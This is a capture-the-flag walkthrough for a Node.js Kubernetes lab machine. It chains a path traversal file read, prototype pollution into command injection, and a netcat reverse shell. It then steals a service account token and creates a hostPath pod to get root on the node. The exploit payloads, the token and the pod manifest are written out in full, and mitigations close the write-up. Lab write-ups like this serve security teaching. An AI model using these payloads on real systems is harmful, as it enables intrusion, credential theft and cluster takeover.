Target Information
- IP Address: 172.16.13.70
- Difficulty: Medium
- Tags: Web, Kubernetes, Privilege Escalation
Reconnaissance
Port Scanning
I started with a full port scan using nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.13.70Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Node.js Express framework
Only two open ports: SSH and HTTP. The web application is running on Node.js Express with the title "Captain Jack's Pirate Tours".
Web Enumeration
Discovery: Local File Inclusion (LFI)
While exploring the application, I identified an endpoint vulnerable to Local File Inclusion:
Endpoint: /api/download?file=
Test payload:
GET /api/download?file=../../../../../../etc/passwd HTTP/1.1
Host: 172.16.13.70Response:
root:x:0:0:root:/root:/bin/sh
[...]
node:x:1000:1000::/home/node:/bin/sh
Vulnerability confirmed! I successfully read /etc/passwd.
Source Code Disclosure
Using the same LFI vulnerability, I extracted the application's source code:
GET /api/download?file=../app%2ejs HTTP/1.1Code analysis revealed:
- Vulnerable merge() function susceptible to Prototype Pollution:
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}- Booking class with command execution:
class Booking {
// ...
confirm() {
if (this.sendEmail) {
exec(this.sendEmail); // Command execution!
}
return { /* ... */ };
}
}- Booking endpoint uses the vulnerable function:
app.post('/api/book', (req, res) => {
let bookingData = clone(req.body); // clone() uses merge()
let booking = new Booking(bookingData);
let confirmation = booking.confirm();
// ...
});Exploitation: Remote Code Execution
Prototype Pollution + Command Injection
I combined the vulnerabilities to achieve RCE:
Payload:
{
"name": "jack",
"email": "test@test.com",
"date": "2026-01-05",
"passengers": 1,
"tour": "standard",
"__proto__": {
"sendEmail": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f"
}
}Complete request:
POST /api/book HTTP/1.1
Host: 172.16.13.70
Content-Type: application/json
Content-Length: 228
{
"name": "jack",
"email": "test@test.com",
"date": "2026-01-05",
"passengers": 1,
"tour": "standard",
"__proto__":{"sendEmail":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f"}
}Listener:
nc -lvnp 4444Reverse shell obtained!
Post-Exploitation: Container Environment
Environment Discovery
After obtaining shell access, I identified that I was inside a Kubernetes container:
$ env | grep KUBERNETES
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1Important information:
- Namespace:
default - Service Account:
captain-sa - Pod:
captain-deployment-748769bfb4-hrf4c
Service Account Token Extraction
Every Kubernetes pod has a JWT token automatically mounted:
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenToken obtained:
eyJhbGciOiJSUzI1NiIsImtpZCI6IlRHM0FGc20xOUN3RWl2NUJTalQybHV1RG54NW56alZESGtqY01hR2JGY1kifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzk5MDc1MDMxLCJpYXQiOjE3Njc1MzkwMzEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJjYXB0YWluLWRlcGxveW1lbnQtNzQ4NzY5YmZiNC1ocmY0YyIsInVpZCI6IjMzNDEwOGFlLWQ2MTMtNDAzOS04MmFhLWRiMDU2ODNlZDk3YiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiY2FwdGFpbi1zYSIsInVpZCI6Ijc3MTgwOTA2LWExMmUtNGRhMi1iOTdkLWI0MTczOGQ5ZjFkOSJ9LCJ3YXJuYWZ0ZXIiOjE3Njc1NDI2Mzh9LCJuYmYiOjE3Njc1MzkwMzEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmNhcHRhaW4tc2EifQ.vdbNvggHJ6MD9GvU-x1zqCi7NPIB-_WO9DyWcJcBS09jp8ctdhctR8awjpD3RDuvqG3zLYocaVtRJLrs1AsFf2sRu8q_KcB-MsZh2_BY0xrHFpVMhCBLYaIEowJC7f-gP-AHWgfpYBIiOmu-i_kcIUuFnFUFskirk4ekQtlLBOLwt71UXKrT3DqU7td0nIpCvsjyPsR5jmVcIf7WxHege7mBvq2WlrhoSQiKc6BPKYrPZp8Sry6hrYYEr5XynanqkKfzEVQoQOl_eqZWnDDq35e2mqaNASRofge7SZwaUPmTxXpZu-uxv2Bhw7A1_r_Nmi53dKz70_OzMifiKPXQtQ
Privilege Escalation: Kubernetes RBAC Abuse
Permission Enumeration
I uploaded the kubectl binary to the container and checked the permissions:
./kubectl auth can-i --list --token eyJhbGc...Discovered permissions:
Resources Verbs
pods [create get list]
pods/exec [create]
Critical permissions identified!
- I can create new pods
- I can execute commands inside pods
Malicious Pod Creation
I created a YAML manifest for a privileged pod that mounts the host filesystem:
exploit-pod.yaml:
apiVersion: v1
kind: Pod
metadata:
name: exploit-pod
labels:
run: exploit-pod
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- "3600"
image: ubuntu
name: exploit-pod
volumeMounts:
- mountPath: /mnt
name: host-filesystem
resources: {}
dnsPolicy: ClusterFirst
status: {}Key points:
hostPath: path: /→ Mounts the node's root filesystemvolumeMounts: mountPath: /mnt→ Available at/mntin the container
Deployment & Root Access
# Create the malicious pod
./kubectl create -f exploit-pod.yaml
# Wait for the pod to be Running
./kubectl get pods -w
# Execute shell in the pod
./kubectl exec -it exploit-pod -- bashConfirmation:
root@exploit-pod:/# whoami
root
root@exploit-pod:/# ls /mnt
bin boot dev etc home lib media mnt opt proc root run sbin srv sys tmp usr varROOT OBTAINED! Full access to the Kubernetes node through the filesystem mounted at /mnt.
Attack Chain Summary
1. LFI Discovery (/api/download)
↓
2. Source Code Extraction (app.js)
↓
3. Prototype Pollution Vulnerability
↓
4. Command Injection via exec()
↓
5. Reverse Shell (container access)
↓
6. Service Account Token Extraction
↓
7. Kubernetes API Authentication
↓
8. RBAC Misconfiguration (pods:create, pods/exec:create)
↓
9. Privileged Pod Creation (hostPath mount)
↓
10. Root Access on Kubernetes Node
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| Local File Inclusion | CWE-22 | High | Source code disclosure |
| Prototype Pollution | CWE-1321 | High | Object manipulation |
| Command Injection | CWE-78 | Critical | Remote Code Execution |
| K8s RBAC Misconfiguration | N/A | Critical | Cluster compromise |
| Missing Pod Security Policy | N/A | Critical | Privilege escalation |
Mitigation Recommendations
Application Level
- Fix LFI: Validate and sanitize inputs for the
fileparameter
const safePath = path.basename(file); // Remove directory traversal- Prevent Prototype Pollution: Use
Object.create(null)or secure libraries
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}- Avoid Command Injection: Never use
exec()with user input
// Use secure libraries for email
const nodemailer = require('nodemailer');Kubernetes Level
-
Implement RBAC Least Privilege:
- Remove
pods:createandpods/exec:createpermissions from application service accounts - Use specific roles only for necessary operations
- Remove
-
Enable Pod Security Standards:
apiVersion: v1
kind: Namespace
metadata:
name: default
labels:
pod-security.kubernetes.io/enforce: restricted-
Disable hostPath Mounts: Use Pod Security Policies/Admission Controllers
-
Network Segmentation: Implement Network Policies to isolate pods
Tools Used
- nmap - Network scanning and service enumeration
- Burp Suite - Web proxy and HTTP request testing
- curl - Command-line HTTP requests and API interaction
- netcat - Listener setup and reverse shell handling
- kubectl - Kubernetes cluster interaction and pod management
References
Author: cbxcvl
Date: April 3, 2026
Machine: Captain